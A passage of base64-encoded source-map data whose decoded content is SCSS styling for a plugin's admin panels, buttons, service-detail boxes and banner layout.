5zbG4tYnRuIHtcbiAgICAgIG1hcmdpbi10b3A6IDhweDtcbiAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgcGFkZGluZzogNnB4IDEycHg7XG4gICAgICBoZWlnaHQ6IGF1dG87XG4gICAgfVxuICB9XG59XG4iLCJAdXNlIFwiLi4vYWRtaW5fY29uZmlnXCI7XG5cbkB1c2UgXCIuLi9zZXR0aW5ncy1taXhpbnNcIjtcbkB1c2UgXCJidXR0b25zXCI7XG5cbi5zbG4tcGFuZWwge1xuXHQvL0BleHRlbmQgLnNsbi1ib3gtLXN1Yjtcblx0Ym9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0Ym9yZGVyLWJvdHRvbTogbm9uZTtcblx0Ym9yZGVyLXJpZ2h0OiBub25lO1xuXHRib3JkZXItbGVmdDogbm9uZTtcblx0cGFkZGluZy10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHQvL21hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNXB4KTtcblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oYm9yZGVyIDIwMG1zLCBtYXJnaW4tYm90dG9tIDIwMG1zKTtcblx0Ji5zbG4tcGFuZWwtLWFjdGl2ZSB7XG5cdFx0cGFkZGluZy10b3A6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG5cdFx0Ly9tYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0Ym9yZGVyLWJvdHRvbTogbm9uZTtcblx0XHQmOmxhc3QtY2hpbGQge1xuXHRcdFx0Ly9tYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuXHRcdFx0Ym9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0fVxuXHR9XG5cdC5zbG4tYm94LS1zdWIge1xuXHRcdG1hcmdpbjogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpXG5cdFx0XHRzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG5cdH1cblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdCYuc2xuLXBhbmVsLS1hY3RpdmUge1xuXHRcdFx0cGFkZGluZy10b3A6IDA7XG5cdFx0fVxuXHR9XG5cdC5zbG4tY2hlY2tib3ggaW5wdXQgKyBsYWJlbCxcblx0LnNsbi1jaGVja2JveCBpbnB1dCArIGxhYmVsOm50aC1jaGlsZCgyKSB7XG5cdFx0bWFyZ2luLXRvcDogMDtcblx0fVxufVxuXG4uc2xuLXBhbmVsOmxhc3Qtb2YtdHlwZSB7XG5cdG1hcmdpbi1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG5cdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xufVxuLnNsbi1wYW5lbC0tY29udGVudCB7XG5cdG9wYWNpdHk6IDA7XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKGhlaWdodCAyMDBtcywgb3BhY2l0eSAyMDBtcyk7XG5cdCYuaW4ge1xuXHRcdG9wYWNpdHk6IDE7XG5cdFx0aGVpZ2h0OiBhdXRvO1xuXHR9XG59XG4uc2xuLXBhbmVsdHJpZ2dlciB7XG5cdCYuc2xuLWJ0biB7XG5cdFx0dGV4dC1hbGlnbjogbGVmdDtcblx0XHRAZXh0ZW5kIC5zbG4tYnRuLS1pY29uO1xuXHRcdEBleHRlbmQgLnNsbi1pY29uLS1hcnJvdy0tZG93bjtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdCY6YWZ0ZXIge1xuXHRcdFx0Zm9udC1zaXplOiAxZW07XG5cdFx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuaWUxMSgpIHtcblx0XHRcdFx0Zm9udC1zaXplOiAxLjRyZW07XG5cdFx0XHR9XG5cdFx0fVxuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy50cmFuc2l0aW9uKGJhY2tncm91bmQtY29sb3IgMjAwbXMpO1xuXHRcdCYuc2xuLWJ0bi0tYWN0aXZlIHtcblx0XHRcdEBleHRlbmQgLnNsbi1pY29uLS1hcnJvdy0tdXA7XG5cdFx0XHRib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcblx0XHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcblx0XHRcdCY6YWZ0ZXIge1xuXHRcdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcblx0XHRcdFx0Zm9udC1zaXplOiAxZW07XG5cdFx0XHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5pZTExKCkge1xuXHRcdFx0XHRcdGZvbnQtc2l6ZTogMS40cmVtO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0XHQmOmhvdmVyIHtcblx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuXHRcdFx0fVxuXHRcdH1cblx0XHRAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG5cdFx0fVxuXHR9XG5cdCYuc2xuLWJ0bi0tYmlnIHtcblx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG5cdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTRweCk7XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuXHRcdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTRweCk7XG5cdFx0fVxuXHR9XG59XG4uc2xuLXBhbmVsLnNsbi1wYW5lbC0tb25jaGVjayB7XG5cdHBhZGRpbmctdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRwYWRkaW5nLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0LnNsbi1pbnB1dC0tc2ltcGxlLFxuXHQuc2xuLWNoZWNrYm94IHtcblx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0fVxuXHQuc2xuLXBhbmVsdHJpZ2dlciB7XG5cdFx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSg5cHgpO1xuXHR9XG59XG4iLCJAdXNlIFwiLi4vdHlwby1hZG1pblwiO1xuQHVzZSBcIi4uL3NldHRpbmdzLW1peGluc1wiO1xuQHVzZSBcImJ1dHRvbnNcIjtcbkB1c2UgXCJpbnB1dHNcIjtcbkB1c2UgXCJib3hlc1wiO1xuXG4jc2xuX3Nob3AtZGV0YWlscyxcbiNzbG5fYXR0ZW5kYW50LWRldGFpbHMsXG4jcG9zdGV4Y2VycHQge1xuXHRAZXh0ZW5kIC5zbG4tYm94O1xuXHRAZXh0ZW5kIC5zbG4tYm94LS1tYWluO1xuXHRib3JkZXI6IG5vbmU7XG5cdGZvbnQtc2l6ZTogdHlwby1hZG1pbi4kZm9udC1zaXplLWJhc2U7XG5cdHBhZGRpbmctYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHQmLnBvc3Rib3ggLmluc2lkZSxcblx0Ji5zdHVmZmJveCAuaW5zaWRlIHtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdGxpbmUtaGVpZ2h0OiBpbmhlcml0O1xuXHRcdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0fVxuXHQ+IC5yb3cge1xuXHRcdEBleHRlbmQgLnNsbi1ib3gtLXN1Yjtcblx0fVxuXHQuaGFuZGxlZGl2LmJ1dHRvbi1saW5rIC50b2dnbGUtaW5kaWNhdG9yIHtcblx0XHRAZXh0ZW5kIC5zbG4tYnRuO1xuXHRcdEBleHRlbmQgLnNsbi1idG4tLW1haW47XG5cdFx0QGV4dGVuZCAuc2xuLWJ0bi0tc21hbGw7XG5cdFx0QGV4dGVuZCAuc2xuLWJ0bi0taWNvbjtcblx0XHRAZXh0ZW5kIC5zbG4taWNvbi0tYXJyb3ctLXVwO1xuXHRcdCY6YWZ0ZXIge1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE2cHgpO1xuXHRcdH1cblx0XHQmOmJlZm9yZSB7XG5cdFx0XHRkaXNwbGF5OiBub25lO1xuXHRcdH1cblx0fVxuXHQmLmNsb3NlZCAuaGFuZGxlZGl2LmJ1dHRvbi1saW5rIC50b2dnbGUtaW5kaWNhdG9yIHtcblx0XHRAZXh0ZW5kIC5zbG4taWNvbi0tYXJyb3ctLWRvd247XG5cdH1cbn1cbiN0aXRsZWRpdi0tIHtcblx0cGFkZGluZy1ib3R0b206IHNldHRpbmdzLW1peGlucy5yZW0oMzZweCk7XG59XG4vKiBGSVggMDkyMDIzXG4jdGl0bGV3cmFwLS0ge1xuXHRAZXh0ZW5kIC5zbG4taW5wdXQtLXNpbXBsZTtcblx0QGV4dGVuZCAlc2xuLWlucHV0LWxhYmVsO1xuXHRtYXJnaW4tYm90dG9tOiAwO1xuXHRpbnB1dCB7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDE2cHgpO1xuXHR9XG5cdGxhYmVsIHtcblx0XHRmb250LXNpemU6IDFlbTtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDE0cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTZweCk7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0fVxufVxuKi9cbiNwb3N0c3R1ZmYgI3Nsbl9zaG9wLWRldGFpbHMgPiBoMixcbiNwb3N0c3R1ZmYgI3Nsbl9hdHRlbmRhbnQtZGV0YWlscyA+IGgyIHtcblx0LyogRklYIDA5MjAyMyBAZXh0ZW5kIC5zbG4tYm94LXRpdGxlOyAqL1xuXHRib3JkZXItYm90dG9tOiBub25lO1xuXHRzcGFuIHtcblx0XHRAZXh0ZW5kICVmb250LWNsX21haW47XG5cdFx0Zm9udC1zaXplOiAxZW07XG5cdH1cbn1cbiNwb3N0ZXhjZXJwdCB7XG5cdC5pbnNpZGUge1xuXHRcdEBleHRlbmQgLnNsbi1pbnB1dC0tc2ltcGxlO1xuXHRcdEBleHRlbmQgJXNsbi1pbnB1dC1sYWJlbDtcblx0fVxuXHRoMiB7XG5cdFx0LyogRklYIDA5MjAyMyBAZXh0ZW5kIC5zbG4tYm94LXRpdGxlOyAqL1xuXHRcdGJvcmRlci1ib3R0b206IG5vbmU7XG5cdFx0c3BhbiB7XG5cdFx0XHRAZXh0ZW5kICVmb250LWNsX21haW47XG5cdFx0XHRmb250LXNpemU6IDFlbTtcblx0XHR9XG5cdH1cbn1cblxuI3Nsbl9zaG9wLWRldGFpbHMsXG4jc2xuX2F0dGVuZGFudC1kZXRhaWxzIHtcblx0YmFja2dyb3VuZDogI2VlZSAhaW1wb3J0YW50O1xuXHQuZmFkZSB7XG5cdFx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24ob3BhY2l0eSAyNTBtcyk7XG5cdH1cbn1cbiIsIkB1c2UgXCIuLi9hZG1pbl9jb25maWdcIjtcbkB1c2UgXCIuLi90eXBvLWFkbWluXCI7XG5AdXNlIFwiLi4vc2V0dGluZ3MtbWl4aW5zXCI7XG5AdXNlIFwiYnV0dG9uc1wiO1xuQHVzZSBcImlucHV0c1wiO1xuQHVzZSBcImJveGVzXCI7XG5cbiNzbG5fc2VydmljZS1kZXRhaWxzIHtcblx0QGV4dGVuZCAuc2xuLWJveDtcblx0QGV4dGVuZCAuc2xuLWJveC0tbWFpbjtcblx0Ym9yZGVyOiBub25lO1xuXHRmb250LXNpemU6IHR5cG8tYWRtaW4uJGZvbnQtc2l6ZS1iYXNlO1xuXHRwYWRkaW5nLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0Ji5wb3N0Ym94IC5pbnNpZGUsXG5cdCYuc3R1ZmZib3ggLmluc2lkZSB7XG5cdFx0cGFkZGluZzogMDtcblx0XHRsaW5lLWhlaWdodDogaW5oZXJpdDtcblx0XHRmb250LXNpemU6IGluaGVyaXQ7XG5cdH1cblx0LmhhbmRsZWRpdi5idXR0b24tbGluayAudG9nZ2xlLWluZGljYXRvciB7XG5cdFx0QGV4dGVuZCAuc2xuLWJ0bjtcblx0XHRAZXh0ZW5kIC5zbG4tYnRuLS1tYWluO1xuXHRcdEBleHRlbmQgLnNsbi1idG4tLXNtYWxsO1xuXHRcdEBleHRlbmQgLnNsbi1idG4tLWljb247XG5cdFx0QGV4dGVuZCAuc2xuLWljb24tLWFycm93LS11cDtcblx0XHQmOmFmdGVyIHtcblx0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNnB4KTtcblx0XHR9XG5cdFx0JjpiZWZvcmUge1xuXHRcdFx0ZGlzcGxheTogbm9uZTtcblx0XHR9XG5cdH1cblx0Ji5jbG9zZWQgLmhhbmRsZWRpdi5idXR0b24tbGluayAudG9nZ2xlLWluZGljYXRvciB7XG5cdFx0QGV4dGVuZCAuc2xuLWljb24tLWFycm93LS1kb3duO1xuXHR9XG5cdC5zbG5fYXR0ZW5kYW50X3NlcnZpY2VzX2xpc3QsXG5cdC5zbG4tc2VydmljZS1wcmljZS10aW1lIC5zbG5fYXR0ZW5kYW50X3NlcnZpY2VzX2xpc3Qge1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0I19zbG5fYXR0ZW5kYW50X3NlcnZpY2VzICsgLnNlbGVjdDItY29udGFpbmVyIHtcblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdFx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0XHRcdGJvcmRlci1ib3R0b206IDNyZW0gc29saWQgI2ZmZjtcblx0XHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRcdFx0Ly9tYXJnaW4tYm90dG9tOiAzLjJyZW07XG5cdFx0XHRcdFx0d2lkdGg6IDEwMCU7XG5cdFx0XHRcdFx0bWF4LWhlaWdodDogMThyZW07XG5cdFx0XHRcdFx0b3ZlcmZsb3cteTogYXV0bztcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zZWxlY3QyLXNlYXJjaC0taW5saW5lIHtcblx0XHRcdFx0XHR3aWR0aDogY2FsYygxMDAlIC0gNDRweCk7XG5cdFx0XHRcdFx0aGVpZ2h0OiAzcmVtO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHR0b3A6IDEwMCU7XG5cdFx0XHRcdFx0bGVmdDogMDtcblx0XHRcdFx0XHRib3JkZXItdG9wOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kOiAjZmZmO1xuXHRcdFx0XHRcdC8vcGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSg5cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSg0cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTBweCk7XG5cdFx0XHRcdH1cblxuXHRcdFx0XHRAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuXHRcdFx0XHRcdCY6aG92ZXIge1xuXHRcdFx0XHRcdFx0LnNlbGVjdDItc2VhcmNoLS1pbmxpbmUge1xuXHRcdFx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjQxLCAyNDcsIDI1MSk7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHRcdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0d2lkdGg6IDQ0cHg7XG5cdFx0XHRcdGhlaWdodDogM3JlbTtcblx0XHRcdFx0dG9wOiAxMDAlO1xuXHRcdFx0XHRyaWdodDogMDtcblx0XHRcdFx0YmFja2dyb3VuZDogI2ZmZjtcblx0XHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdFx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0XHRcdFx0anVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG5cdFx0XHRcdGJvcmRlci10b3A6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0O1xuXHRcdFx0fVxuXHRcdFx0QG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcblx0XHRcdFx0Jjpob3Zlcixcblx0XHRcdFx0Jjpmb2N1cyxcblx0XHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjQxLCAyNDcsIDI1MSk7XG5cdFx0XHRcdFx0XHRjb2xvcjogIzAyNzdiZDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdFx0LnNlbGVjdDItY29udGFpbmVyLS1zbG4uc2VsZWN0Mi1jb250YWluZXItLW9wZW5cblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogcmdiKDI0MSwgMjQ3LCAyNTEpO1xuXHRcdFx0XHRjb2xvcjogIzAyNzdiZDtcblx0XHRcdH1cblx0XHRcdC5zZWxlY3QyLXNlYXJjaC0taW5saW5lIHtcblx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogcmdiKDI0MSwgMjQ3LCAyNTEpO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxufVxuI3Bvc3RzdHVmZiAjc2xuX3NlcnZpY2UtZGV0YWlscyA+IGgyLmhuZGxlLnVpLXNvcnRhYmxlLWhhbmRsZSB7XG5cdC8qIEZJWCAwOTIwMjMgQGV4dGVuZCAuc2xuLWJveC10aXRsZTsqL1xuXHRib3JkZXItYm90dG9tOiBub25lO1xuXHRzcGFuIHtcblx0XHRAZXh0ZW5kICVmb250LWNsX21haW47XG5cdFx0Zm9udC1zaXplOiAxZW07XG5cdH1cbn1cbiIsIkB1c2UgXCIuLi9hZG1pbl9jb25maWdcIjtcblxuQHVzZSBcIi4uL3NldHRpbmdzLW1peGluc1wiO1xuXG4uc2xuLWFkbWluLWJhbm5lciB7XG5cdGRpc3BsYXk6IGdyaWQ7XG5cdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMTAwJTtcblx0Z3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvIGF1dG8gYXV0bztcblx0Z2FwOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGO1xuXHRoMSxcblx0aDIsXG5cdGgzIHtcblx0XHRjb2xvcjogI2I1YzZkZTtcblx0XHRmb250LXdlaWdodDogNDAwO1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiAwO1xuXHRcdHBhZGRpbmctcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdH1cblx0aDEge1xuXHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdGdyaWQtcm93OiAxO1xuXHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcblx0XHRsaW5lLWhlaWdodDogMS42O1xuXHR9XG5cdGgzIHtcblx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRncmlkLXJvdzogMztcblx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMThweCk7XG5cdFx0bGluZS1oZWlnaHQ6IDEuNjtcblx0XHRwYWRkaW5nLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzcHgpO1xuXHR9XG5cdC5zbG4tYWRtaW4tYmFubmVyX19hY3Rpb25zIHtcblx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRncmlkLXJvdzogMjtcblx0fVxuXHQuc2xuLWJ0bi0tYm9yZGVyb25seS0tdy5zbG4tYnRuLS1pY29uIHtcblx0XHQmOjphZnRlciB7XG5cdFx0XHRjb2xvcjogI2U0MzIyMjtcblx0XHR9XG5cdFx0Jjpob3Zlcixcblx0XHQmOmZvY3VzIHtcblx0XHRcdCY6OmFmdGVyIHtcblx0XHRcdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfb2s7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcblx0XHRncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDYwJSA0MCU7XG5cdFx0Z3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvIGF1dG87XG5cdFx0Z2FwOiAwO1xuXHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oNDJweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcblx0XHRoMSB7XG5cdFx0XHRncmlkLWNvbHVtbjogMTtcblx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdFx0bWFyZ2luLWJvdHRvbTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcblx0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyN3B4KTtcblx0XHR9XG5cdFx0aDMge1xuXHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRncmlkLXJvdzogMjtcblx0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyM3B4KTtcblx0XHR9XG5cdFx0LnNsbi1hZG1pbi1iYW5uZXJfX2FjdGlvbnMge1xuXHRcdFx0Z3JpZC1jb2x1bW46IDI7XG5cdFx0XHRncmlkLXJvdzogMSAvIHNwYW4gMjtcblx0XHR9XG5cdH1cblx0QG1lZGlhIG9ubHkgc2NyZWVuIGFuZCAobWluLXdpZHRoOiA4MDBweCkge1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogNDAlIDM1JSAyNSU7XG5cdFx0Z3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvO1xuXHRcdGgxIHtcblx0XHRcdGdyaWQtY29sdW1uOiAxO1xuXHRcdFx0Z3JpZC1yb3c6IDE7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0XHRoMyB7XG5cdFx0XHRncmlkLWNvbHVtbjogMjtcblx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdH1cblx0XHQuc2xuLWFkbWluLWJhbm5lcl9fYWN0aW9ucyB7XG5cdFx0XHRncmlkLWNvbHVtbjogMztcblx0XHRcdGdyaWQtcm93OiAxO1xuXHRcdH1cblx0fVxuXHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDEzNjZweCkge1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMzB2dyAyNXZ3IDIwdncgYXV0bztcblx0fVxuXHRAbWVkaWEgb25seSBzY3JlZW4gYW5kIChtaW4td2lkdGg6IDE5MjBweCkge1xuXHRcdGdyaWQtdGVtcGxhdGUtY29sdW1uczogMzd2dyAyNXZ3IDE4dncgYXV0bztcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDQ1cHgpIHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG5cdFx0aDEge1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDMzcHgpO1xuXHRcdH1cblx0XHRoMSxcblx0XHRoMyxcblx0XHQuc2xuLWFkbWluLWJhbm5lcl9fYWN0aW9ucyB7XG5cdFx0XHRhbGlnbi1zZWxmOiBjZW50ZXI7XG5cdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdH1cblx0fVxufVxuXG4uc2xuLWFkbWluLWJhbm5lcl9fb2xkIHtcblx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMHB4KTtcblx0cGFkZGluZy1ib3R0b206IDA7XG5cdGNsZWFyOiBib3RoO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoYWRtaW5fY29uZmlnLiRjbF9tYWluLCAwLjkpO1xuXHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcblx0QGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLnRyYW5zaXRpb24oYWxsIDUwMG1zKTtcblx0aDEsXG5cdGgyLFxuXHRoMyxcblx0aDQge1xuXHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuXHRcdG1hcmdpbjogMCAwIDEuNGVtIDA7XG5cdFx0Zm9udC13ZWlnaHQ6IG5vcm1hbDtcblx0XHRmb250LXNpemU6IDFlbTtcblx0XHRsaW5lLWhlaWdodDogMS41O1xuXHR9XG5cdEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1heC13aWR0aDogOTkxcHgpIHtcblx0XHRwb3NpdGlvbjogZml4ZWQ7XG5cdFx0Ym90dG9tOiAtMTAwdmg7XG5cdFx0bGVmdDogMDtcblx0XHRyaWdodDogMDtcblx0XHR6LWluZGV4OiA5OTk7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG5cdFx0Ji5zbG4tYWRtaW4tYmFubmVyX19vbGQtLWludmlldyB7XG5cdFx0XHRib3R0b206IDA7XG5cdFx0fVxuXHRcdGgxLFxuXHRcdGgyIHtcblx0XHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdFx0Zm9udC1zaXplOiAxLjRlbTtcblx0XHRcdG1heC13aWR0aDogNDE0cHg7XG5cdFx0XHRtYXJnaW4tcmlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0XHRtYXJnaW4tcmlnaHQ6IGF1dG87XG5cdFx0XHRtYXJnaW4tbGVmdDogYXV0bztcblx0XHR9XG5cdFx0aDMsXG5cdFx0aDQge1xuXHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRmb250LXNpemU6IDEuMmVtO1xuXHRcdFx0bWF4LXdpZHRoOiA0MTRweDtcblx0XHRcdG1hcmdpbi1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2MHB4KTtcblx0XHRcdG1hcmdpbi1yaWdodDogYXV0bztcblx0XHRcdG1hcmdpbi1sZWZ0OiBhdXRvO1xuXHRcdH1cblx0XHQuc2xuLWJ0bi5zbG4tYnRuLS1iYW5uZXIge1xuXHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRtYXgtd2lkdGg6IDQxNHB4O1xuXHRcdFx0bWFyZ2luLXJpZ2h0OiBhdXRvO1xuXHRcdFx0bWFyZ2luLWxlZnQ6IGF1dG87XG5cdFx0XHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDM2cHgpO1xuXHRcdH1cblx0fVxufVxuLn